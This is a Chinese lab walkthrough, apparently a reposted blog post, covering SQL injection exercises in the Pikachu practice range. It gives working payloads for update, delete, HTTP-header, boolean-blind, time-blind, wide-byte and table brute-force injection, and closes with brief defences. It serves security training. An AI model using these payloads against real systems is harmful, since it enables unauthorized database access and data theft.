暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

pikachu靶场(sql注入篇-下)

染小妖 2021-08-02
1295

十、Update注入:

我们进行登录Vince账户,修改个人的资料信息就算通过使用update操作后台的数据库,把相关的内容更新成我们修改的内容,或者说是我们想要的内容。

payload:1' or updatexml(1,concat(0x7e,database()),0) or '


报错出数据库名称

十一、Delete注入:

我们打开目标:

我们删除留言,并burp抓包并发送到repeater:

这个请求,后台会把对应的ID传到后台,后台就会把对应的id删除掉

我们接下来对id进行闭合,因为参数是get请求提交的,所以我们需要进行url编码,然后提交:

Payload:1 or updatexml(1,concat(0x7e,database()),0)

因为是数字型,所以不需要单引号


十二、"http header"注入:

http header注入是出现sql注入的一种场景,我们打开目标:

点击提升,出现账号和密码,进行登录并抓包,后台可能对我们的 user agent进行了获取,在user agent出进行测试:

我们查看数据包,并将数据包发送到repeater进行测试,payload:firefox' or updatexml(1,concat(0x7e,database()),0) or'


Cookie处也是可以进行测试的,payload:

Cookie: ant[uname]=admin' or updatexml(1,concat(0x7e,database()),0) or '; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=fgg7dun2jp79fdejo6u3m4hshp


十三、盲注(based Boolean)

基于boolean的盲注主要表现症状:

1.没有报错信息

2.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)

3.在正确的输入下,输入and 1=1/and 1=2发现可以判断


我们打开目标,在pikachu中,按照我们之前学习到的逻辑,不管是输入‘还是和之前kobe‘ or 1=1#都会显示错误,说明之前学习到的测试方法在本章节(盲注)中,是没有作用的,没有效果的:

换种方法输入,比如:kobe' and 1=1#,才会显示信息,说明存在注入漏洞,因为我们的相关操作数据库在执行:



我们假设:kobe'  and  ascii(substr(database(),1,1))>113#

如果,他返回了vince的信息,那么就意味着为真,如果没有返回,那就是假:

我们改成:kobe'  and  ascii(substr(database(),1,1))=112#


还有一种方法是更改database()函数来获取用户信息:

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>7#


十四、盲注(based time)


基于boolean的盲注在页面中,还可以看到 0 or 1的回显,那么基于时间的盲注,就完全无法看到了,但是有一个条件,就是时间,通过特定的输入来判断执行时间,再去确定是否存在注入。


我们打开目标,打开控制台(快捷键F12)点击网络,在页面中输入payload:kobe' and sleep(5)#

我们会先看到页面暂停了五秒,说明存在一个基于时间盲注的注入漏洞:


接下来,我们输入一个payload来测试一下,

payload:kobe' and if((substr(database( ),1,1))= 'p' ,sleep(5),null)#

这个payload是根据时间的延迟进行判断的,用if判断,通过substr函数来把数据库中的第一个字符跟'p'做比较,如果相等则暂停5秒钟:

十五、宽字节注入

在宽字节中,单引号会被转义为斜杠“/”这样会无法构造一个sql语句,但是可以通过单引号加" %df ",来逃过转义。

我们们打开目标,并用burp抓包,发送到repeater,输入payload:1%df' or 1=1#

到name中,点击render可以看到已经成功获取了用户的信息:

十六、Sql注入-漏洞之列(表)的暴力破解

Payload:kobe' and exists(select * from aa)#

我们burp抓包,发送到intruder,和我们原来的暴力破解流程一样:


十七、Sql注入防范与总结

代码层面

对输入进行严格的转义和过滤

使用预处理和参数化(parameterized)

网路层面

通过WAF设备启动防SQL inject注入策略(或类似防护系统)

云端防护(360网站卫士,阿里云盾等)


不管是啥型,总而言之,就是对SQL中的各种类型的输入进行闭合测试,构成合法SQL,从而去欺骗后台执行


文章转载自染小妖,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论